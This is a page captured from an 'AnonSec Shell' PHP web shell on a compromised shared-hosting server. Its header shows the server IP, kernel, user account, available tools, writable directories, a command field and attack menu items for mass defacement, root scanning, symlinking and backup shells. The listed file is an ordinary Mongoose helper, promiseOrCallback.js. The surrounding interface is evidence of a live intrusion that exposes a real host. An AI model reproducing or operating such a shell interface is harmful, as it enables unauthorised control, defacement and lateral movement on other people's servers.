AnonSec Shell
Server IP : 162.213.251.212  /  Your IP : 18.188.186.61   [ Reverse IP ]
Web Server : LiteSpeed
System : Linux business55.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : allssztx ( 535)
PHP Version : 8.1.31
Disable Function : NONE
Domains : 1 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/self/root/home/allssztx/needapair.com/node_modules/mongoose/lib/helpers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /proc/self/root/home/allssztx/needapair.com/node_modules/mongoose/lib/helpers/promiseOrCallback.js
'use strict';

const immediate = require('./immediate');

const emittedSymbol = Symbol('mongoose#emitted');

module.exports = function promiseOrCallback(callback, fn, ee, Promise) {
  if (typeof callback === 'function') {
    try {
      return fn(function(error) {
        if (error != null) {
          if (ee != null && ee.listeners != null && ee.listeners('error').length > 0 && !error[emittedSymbol]) {
            error[emittedSymbol] = true;
            ee.emit('error', error);
          }
          try {
            callback(error);
          } catch (error) {
            return immediate(() => {
              throw error;
            });
          }
          return;
        }
        callback.apply(this, arguments);
      });
    } catch (error) {
      if (ee != null && ee.listeners != null && ee.listeners('error').length > 0 && !error[emittedSymbol]) {
        error[emittedSymbol] = true;
        ee.emit('error', error);
      }

      return callback(error);
    }
  }

  Promise = Promise || global.Promise;

  return new Promise((resolve, reject) => {
    fn(function(error, res) {
      if (error != null) {
        if (ee != null && ee.listeners != null && ee.listeners('error').length > 0 && !error[emittedSymbol]) {
          error[emittedSymbol] = true;
          ee.emit('error', error);
        }
        return reject(error);
      }
      if (arguments.length > 2) {
        return resolve(Array.prototype.slice.call(arguments, 1));
      }
      resolve(res);
    });
  });
};

Anon7 - 2022
AnonSec Team